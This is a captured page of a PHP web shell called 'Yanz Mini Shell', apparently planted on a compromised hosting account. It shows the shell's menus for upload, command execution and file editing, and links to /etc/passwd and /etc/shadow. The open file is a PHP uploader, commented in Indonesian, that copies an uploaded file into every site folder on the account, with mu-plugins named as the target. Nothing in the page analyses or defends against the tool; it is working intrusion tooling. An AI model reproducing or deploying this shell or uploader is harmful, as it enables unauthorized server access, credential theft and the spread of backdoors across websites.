Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
marocinf
ns-derma.com
1
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php function ensureDir($dirPath) { if (!is_dir($dirPath)) { return mkdir($dirPath, 0777, true); } return true; } $results = []; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $uploaded = $_FILES['file']; if ($uploaded['error'] === 0) { $filename = basename($uploaded['name']); $tempPath = $uploaded['tmp_name']; // === KONFIGURASI === $baseDir = '/home/marocinf'; // Ganti ini sesuai dengan direktori user $relativeTargetDir = '/1/'; // Ambil semua folder di baseDir $entries = scandir($baseDir); $siteFolders = array_filter($entries, function($entry) use ($baseDir) { return $entry !== '.' && $entry !== '..' && is_dir("$baseDir/$entry"); }); foreach ($siteFolders as $site) { $sitePath = "$baseDir/$site"; $targetDir = $sitePath . $relativeTargetDir; if (ensureDir($targetDir)) { $targetPath = $targetDir . $filename; $copied = copy($tempPath, $targetPath); $results[] = [ 'site' => $site, 'status' => $copied ? '✅ Berhasil' : '❌ Gagal', 'file' => $copied ? $filename : '-' ]; } else { $results[] = [ 'site' => $site, 'status' => '❌ Gagal buat direktori', 'file' => '-' ]; } } } else { echo "<p style='color:red;'>❌ Upload error: " . $uploaded['error'] . "</p>"; } } ?> <!DOCTYPE html> <html> <head> <title>Upload ke Semua Site WordPress (Auto)</title> <style> table { border-collapse: collapse; width: 80%; margin-top: 20px; } th, td { border: 1px solid #999; padding: 8px; text-align: center; } th { background-color: #f0f0f0; } </style> </head> <body> <h2>Upload File ke Semua Folder</h2> <form method="post" enctype="multipart/form-data"> <label><strong>Pilih File untuk Di-upload ke /wp-content/mu-plugins/:</strong></label><br><br> <input type="file" name="file" required> <button type="submit">Upload Sekarang</button> </form> <?php if (!empty($results)) : ?> <h3>Hasil Upload:</h3> <table> <tr> <th>Site Folder</th> <th>Status</th> <th>File</th> </tr> <?php foreach ($results as $r): ?> <tr> <td><?= htmlspecialchars($r['site']) ?></td> <td><?= $r['status'] ?></td> <td><?= htmlspecialchars($r['file']) ?></td> </tr> <?php endforeach; ?> </table> <?php endif; ?> </body> </html>
Free Space : 1053009514496 Byte